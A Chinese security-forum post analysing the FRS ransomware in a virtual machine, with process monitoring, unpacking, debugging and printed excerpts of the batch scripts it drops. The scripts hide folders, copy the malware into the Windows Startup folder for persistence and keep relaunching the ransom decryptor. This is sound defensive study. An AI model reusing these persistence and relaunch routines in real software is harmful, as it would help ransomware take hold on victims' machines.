首页
社区
课程
招聘
[原创]FRS病毒分析---bat
发表于: 2023-6-15 20:43 6665

[原创]FRS病毒分析---bat

2023-6-15 20:43
6665

样本

MD5:af6d91121887f5bb0a85a06b1ded0db7
中文名称:FRS勒索病毒
英文名称:Ransom.Win32.FRSCryptor(标准)
简介:国产勒索病毒,但是很垃圾,因为解密密码本身已经嵌在自带的文本文档里面了。

搭建虚拟环境

虚拟环境 Windows10 专业版
注意在虚拟机环境下运行,并且拍好快照后关闭所有杀毒软件。
图片描述

查看文件md5值

可以下载后检查md5后四位与样本md5是否一致,一致则继续分析
图片描述

病毒执行后的过程

1:创建两个txt文件,便于病毒执行后的观察
图片描述
2:运行病毒后,桌面多了一些文件
图片描述
3.创建了两个png图片和1个txt文本和1个exe文件,并自己运行该文件
图片描述 图片描述
图片描述
4.该exe文件的程序关闭后会会重新运行
图片描述
5.该病毒支持中文和英文,下面是显示中文的解密界面
图片描述
6.文件后缀加密为.FRS后缀
图片描述
7.文件加密后无权限打开
图片描述
自此病毒执行后的过程分析完毕,我们恢复快照到病毒执行前

行为分析

1.设置过滤后运行Ransom.Win32.FRSCryptor.exe文件,监控应用的过程
图片描述
以下是创建进程后应用的一些行为
图片描述
2.打开管理器分析有如下3个的子进程,有打开命令行进程的操作
图片描述
3.回到ProcessMonitor,发现的确有打开cmd的操作
图片描述
4.因为创建了命令行,我们可以猜测病毒可能运行了bat脚本,我们在该基础上继续设置过滤
我们设置过滤找到bat文件
图片描述
5.过滤后的该程序进行的bat操作,我们鼠标右键jump to 到我们的文件夹目录
图片描述
6.这应该是随机生成的bat文件名字,注意若没有出现bat文件,请在查看中将隐藏的文件选中,就可以发现下文件夹下的两个bat文件了
图片描述
7.打开bat文件后的显示见面如下图所示
图片描述

bat脚本分析

1.OPK4E16O.bat的标签1

1
2
3
4
5
:1
for /f "delims=" %%i in ('find "e" "C:\FRS_TEMP\temp.txt"')do set n=%%i
If \"%e%\"==\"encrypt\" goto 3
cls
goto 2

这个批处理脚本检查文件"C:\FRS_TEMP\temp.txt"中是否存在字符串"e"。如果存在,它将变量"n"的值设置为包含"e"的那一行。
然后,它检查变量"e"的值是否等于"encrypt"。如果是,它跳转到标签"3"。如果不是,则清除屏幕并跳转到标签"2"。

2.注意将隐藏受保护的操作系统文件的勾给取消了,这样我们才能看到病毒创建的文件

图片描述
图片描述

3.OPK4E16O.bat的标签3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
:3
md C:\FRSRAMSOMWARE
attrib +s +a +h +r C:\FRSRAMSOMWARE
md C:\FRS_TEMP
attrib +s +a +h +r C:\FRS_TEMP
echo.encrypt>C:\FRS_TEMP\temp.txt
copy %MYFILES%\FRS_Decryptor.exe C:\Users\%username%\Desktop\FRS_Decryptor.exe
copy %MYFILES%\READ_ME_HELP_ME.png C:\Users\%username%\Desktop\READ_ME_HELP_ME.png
copy %MYFILES%\READ_ME_HELP_ME.txt C:\Users\%username%\Desktop\READ_ME_HELP_ME.txt
copy %MYFILES%\Chinese_national_flag.png C:\Users\%username%\Desktop\Chinese_national_flag.png
copy %0 C:\FRSRAMSOMWARE\FRS.exe
copy %0 "C:\Users\FIFCOM\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FRS.exe"
copy %MYFILES%\FRS_Decryptor.exe C:\FRSRAMSOMWARE\FRS_Decryptor.exe
copy %MYFILES%\READ_ME_HELP_ME.png C:\FRSRAMSOMWARE\READ_ME_HELP_ME.png
copy %MYFILES%\READ_ME_HELP_ME.txt C:\FRSRAMSOMWARE\READ_ME_HELP_ME.txt
copy %MYFILES%\Chinese_national_flag.png C:\FRSRAMSOMWARE\Chinese_national_flag.png
start %MYFILES%\Chinese_national_flag.png
ping -n 10 127.1>nul
start %MYFILES%\READ_ME_HELP_ME.txt
ping -n 10 127.1>nul
taskkill notepad.exe
start %MYFILES%\READ_ME_HELP_ME.png
ping -n 10 127.1>nul
start %MYFILES%\FRS_Decryptor.exe
goto 4

这部分批处理脚本在标签"3"处执行一系列操作。具体操作如下:
创建一个名为"C:\FRSRAMSOMWARE"的文件夹
将"C:\FRSRAMSOMWARE"文件夹的属性设置为系统、存档、隐藏和只读
创建一个名为"C:\FRS_TEMP"的文件夹
将"C:\FRS_TEMP"文件夹的属性设置为系统、存档、隐藏和只读
在"C:\FRS_TEMP\temp.txt"文件中写入"encrypt"
将%MYFILES%\FRS_Decryptor.exe复制到当前用户桌面的FRS_Decryptor.exe
将%MYFILES%\READ_ME_HELP_ME.png复制到当前用户桌面的READ_ME_HELP_ME.png
将%MYFILES%\READ_ME_HELP_ME.txt复制到当前用户桌面的READ_ME_HELP_ME.txt
将%MYFILES%\Chinese_national_flag.png复制到当前用户桌面的Chinese_national_flag.png
将当前批处理脚本复制到"C:\FRSRAMSOMWARE\FRS.exe"
将当前批处理脚本复制到"C:\Users\FIFCOM\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FRS.exe"
将%MYFILES%\FRS_Decryptor.exe复制到"C:\FRSRAMSOMWARE\FRS_Decryptor.exe"
将%MYFILES%\READ_ME_HELP_ME.png复制到"C:\FRSRAMSOMWARE\READ_ME_HELP_ME.png"
将%MYFILES%\READ_ME_HELP_ME.txt复制到"C:\FRSRAMSOMWARE\READ_ME_HELP_ME.txt"
将%MYFILES%\Chinese_national_flag.png复制到"C:\FRSRAMSOMWARE\Chinese_national_flag.png"
打开%MYFILES%\Chinese_national_flag.png
等待10秒
打开%MYFILES%\READ_ME_HELP_ME.txt
等待10秒
结束notepad.exe进程
打开%MYFILES%\READ_ME_HELP_ME.png
等待10秒
打开%MYFILES%\FRS_Decryptor.exe
跳转到标签"4"。
图片描述
图片描述
注意下面这条脚本命令,这文件目录下会开机自启动FRS.exe程序

1
copy %0 "C:\Users\FIFCOM\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FRS.exe"

以下命令就是自动打开图片文件、文本文件,exe文件的脚本执行

1
2
3
4
5
6
7
8
start %MYFILES%\Chinese_national_flag.png
ping -n 10 127.1>nul
start %MYFILES%\READ_ME_HELP_ME.txt
ping -n 10 127.1>nul
taskkill notepad.exe
start %MYFILES%\READ_ME_HELP_ME.png
ping -n 10 127.1>nul
start %MYFILES%\FRS_Decryptor.exe

4.OPK4E16O.bat的标签4

这里就是实现程序关闭后,循环打开程序的过程,宝成程序一直是启动的

1
2
3
4
5
6
:4
ping -n 3 127.1>nul
for /f "delims= " %%i in ('tasklist^|find /i "FRS_Decryptor.exe"') do (
if /i "%%i"=="FRS_Decryptor.exe" goto 4)
start %MYFILES%\FRS_Decryptor.exe
goto 4

在标签"4"处,批处理脚本执行以下操作:
等待3秒钟
使用tasklist命令列出所有进程,并使用find命令查找包含"FRS_Decryptor.exe"的进程
使用for循环遍历查找结果
如果找到"FRS_Decryptor.exe"进程,跳转到标签"4"
如果未找到"FRS_Decryptor.exe"进程,启动%MYFILES%\FRS_Decryptor.exe并跳转到标签"4"

分析FRS_Decryptor.exe程序

1.可以看到写病毒的作者太耿直了,可以免费帮我们解密一个文件,那么我们可以从这里出现找到解密的过程
图片描述
2.设置过滤
图片描述
3.免费解密一个文件后FRS Decyptor的程序如下如所示
图片描述
4.FRS Decyptor.exe文件对QGUC4HW9.bat文件进行了读写操作,那么我们进QGUC4HW9.bat分析该脚本文件
图片描述

分析QGUC4HW9.bat脚本

1.检查脚本后,我们发现该程序是QGUC4HW9.bat脚本学出来的进步,并且可以直接找到程序解密的序列号
图片描述
2.执行解密密钥后,执行bat文件后,程序被解密了
图片描述

逆向分析

查壳

图片描述
用DIE工具查壳,可以分析该样本是32位程序,且被加MPRESS壳

ESP定律脱壳

图片描述
来到程序入口点,F8执行到下一条命令,并观察ESP的值
图片描述
F8过后 ESP红色 ,且值发生了变化,我们ESP出右键 找到数据窗口跟随在HEX数据 找前几个数据 选中前几个数据后右键 找到断点 硬件访问中的word点击 运行F9
图片描述
这是关键跳转,也就是跳入程序真正入口点OEP的地方
图片描述
最后用OD插件脱壳,我这里就不脱壳继续分析

动态分析

图片描述
我们给CreateFileA和CreateFileW下断点 将创建了一个bat文件到路径C:\Users\Admin\AppData\Local\Temp\CT6NQALL.bat"
图片描述
单步执行,这里有个缓冲区的操作,将buff缓冲区的值,写入刚刚创建好的C:\Users\Admin\AppData\Local\Temp\CT6NQALL.bat"中去,可以输入命令d 00A1F340 在数据窗口中查看写入的数据内容
图片描述
数据到这里就结束了
图片描述
图片描述
在这个函数中分别创建了png文件,txt文件,exe文件,并且进行了写入数据的操作。这里不做详细介绍了

 

图片描述
用SetFileAttributesA API函数修改文件属性
图片描述
图片描述
CreateProcessA函数创建进行并用控制台cmd去执行
然后又回到bat文件的分析,bat文件文件分析过程在上面

静态分析

图片描述
我们用OD脱壳后,程序不能正常执行,我们需要修复PE文件,因为这几天时间有点忙,所以我直接用工具脱壳了

 

图片描述
加载程序后F5进入主函数
图片描述
创建文件并读写
图片描述
进行的创建,以及文件的删除

静态分析过程学会的几个API函数

_InterlockedDecrement

是C++和C#中的内置函数,用于对指定变量执行原子减操作,并返回结果值。它通常用于多线程编程中,以确保在减操作进行期间,其他线程无法访问或修改该变量。
_InterlockedDecrement的语法如下:

1
2
3
long _InterlockedDecrement(
   long volatile *Addend
);

参数Addend是指向需要递减的变量的指针。函数返回减操作后的结果值。
以下是_InterlockedDecrement的示例用法:

1
2
3
4
5
6
7
8
9
#include <iostream>
#include <Windows.h>
 
int main() {
   long count = 10;
   long result = _InterlockedDecrement(&count);
   std::cout << "Result: " << result << std::endl;
   return 0;
}

在此示例中,count变量最初设置为10。调用_InterlockedDecrement函数以原子方式将count的值减1。然后将结果值打印到控制台。

GetEnvironmentVariable 获取系统环境变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
WINDIR:                    //系统目录 - C:\WINDOWS
SYSTEMROOT:                             //系统目录 - C:\WINDOWS
SYSTEMDRIVE:                    //系统根目录 - C:
HOMEDRIVE:                //当前用户根目录 - C:
USERPROFILE:                    //当前用户目录 - C:\Users\Kandy
HOMEPATH:                //当前用户路径 - \Users\Kandy
TMP:                    //当前用户临时文件夹 - C:\Users\Kandy\AppData\Local\Temp
TEMP:                    //当前用户临时文件夹 - C:\Users\Kandy\AppData\Local\Temp
APPDATA:                //当前用户数据文件夹 - C:\Users\Kandy\AppData\Roaming
PROGRAMFILES:                        //程序默认安装目录 - C:\Program Files (x86)
COMMONPROGRAMFILES:                    //文件通用目录 - C:\Program Files (x86)\Common Files
USERNAME:                //当前用户名 - Kandy
ALLUSERSPROFILE:                //所有用户文件目录 - C:\ProgramData
OS:                                     //操作系统名 - Windows_NT
COMPUTERNAME:                           //计算机名 - KANDY-PC
NUMBER_OF_PROCESSORS:                   //处理器个数 - 4
PROCESSOR_ARCHITECTURE:                 //处理器芯片架构 - x86
PROCESSOR_LEVEL:                //处理器型号 - 6
PROCESSOR_REVISION:                     //处理器修订号 - 3c03
USERDOMAIN:                             //包含用户帐号的域 - KANDY-PC
COMSPEC:                //C:\WINDOWS\system32\cmd.exe
PATHEXT:                //执行文件类型 - .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PATH:                    //搜索路径

使用 GetEnvironmentVariable 来获取环境变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <Windows.h>
#include <iostream>
 
int main()
{
    wchar_t buffer[MAX_PATH];
    DWORD code = GetEnvironmentVariable(L"WINDIR", buffer, MAX_PATH);
    std::wcout << L"WINDIR:\t\t\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"SYSTEMROOT", buffer, MAX_PATH);
    std::wcout << L"SYSTEMROOT:\t\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"SYSTEMDRIVE", buffer, MAX_PATH);
    std::wcout << L"SYSTEMDRIVE:\t\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"HOMEDRIVE", buffer, MAX_PATH);
    std::wcout << L"HOMEDRIVE:\t\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"USERPROFILE", buffer, MAX_PATH);
    std::wcout << L"USERPROFILE:\t\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"HOMEPATH", buffer, MAX_PATH);
    std::wcout << L"HOMEPATH:\t\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"TMP", buffer, MAX_PATH);
    std::wcout << L"TMP:\t\t\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"TEMP", buffer, MAX_PATH);
    std::wcout << L"TEMP:\t\t\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"APPDATA", buffer, MAX_PATH);
    std::wcout << L"APPDATA:\t\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"PROGRAMFILES", buffer, MAX_PATH);
    std::wcout << L"PROGRAMFILES:\t\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"COMMONPROGRAMFILES", buffer, MAX_PATH);
    std::wcout << L"COMMONPROGRAMFILES:\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"USERNAME", buffer, MAX_PATH);
    std::wcout << L"USERNAME:\t\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"ALLUSERSPROFILE", buffer, MAX_PATH);
    std::wcout << L"ALLUSERSPROFILE:\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"OS", buffer, MAX_PATH);
    std::wcout << L"OS:\t\t\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"COMPUTERNAME", buffer, MAX_PATH);
    std::wcout << L"COMPUTERNAME:\t\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"NUMBER_OF_PROCESSORS", buffer, MAX_PATH);
    std::wcout << L"NUMBER_OF_PROCESSORS:\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"PROCESSOR_ARCHITECTURE", buffer, MAX_PATH);
    std::wcout << L"PROCESSOR_ARCHITECTURE:\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"PROCESSOR_LEVEL", buffer, MAX_PATH);
    std::wcout << L"PROCESSOR_LEVEL:\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"PROCESSOR_REVISION", buffer, MAX_PATH);
    std::wcout << L"PROCESSOR_REVISION:\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"USERDOMAIN", buffer, MAX_PATH);
    std::wcout << L"USERDOMAIN:\t\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"COMSPEC", buffer, MAX_PATH);
    std::wcout << L"COMSPEC:\t\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"PATHEXT", buffer, MAX_PATH);
    std::wcout << L"PATHEXT:\t\t" << buffer << std::endl;
 
    GetEnvironmentVariable(L"PATH", buffer, MAX_PATH);
    std::wcout << L"PATH:\t\t" << buffer << std::endl;
 
    system("pause");
    return 0;
}

结果:
图片描述
自此分析完毕

 

#总结:
这是第一次分析病毒,分析的这个病毒包容性很好,很适合像我这样的新手学习。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2023-6-15 20:56 被孤岛林潭编辑 ,原因: 补充内容
收藏
免费 2
支持
分享
最新回复 (2)
雪    币: 3297
活跃值: (5395)
能力值: ( LV6,RANK:92 )
在线值:
发帖
回帖
粉丝
2
感觉分析了个寂寞,勒索病毒最重要部分的就是文件的加密和解密,然而没看到你逆向这方面的过程
2023-6-16 01:56
0
雪    币: 2058
活跃值: (1651)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
分析的挺好。不过正如楼上所言,勒索的重点是加解密部分。行为部分倒是其次。期待您更深入的分析帖。
2023-6-16 07:05
0
游客
登录 | 注册 方可回帖
返回
//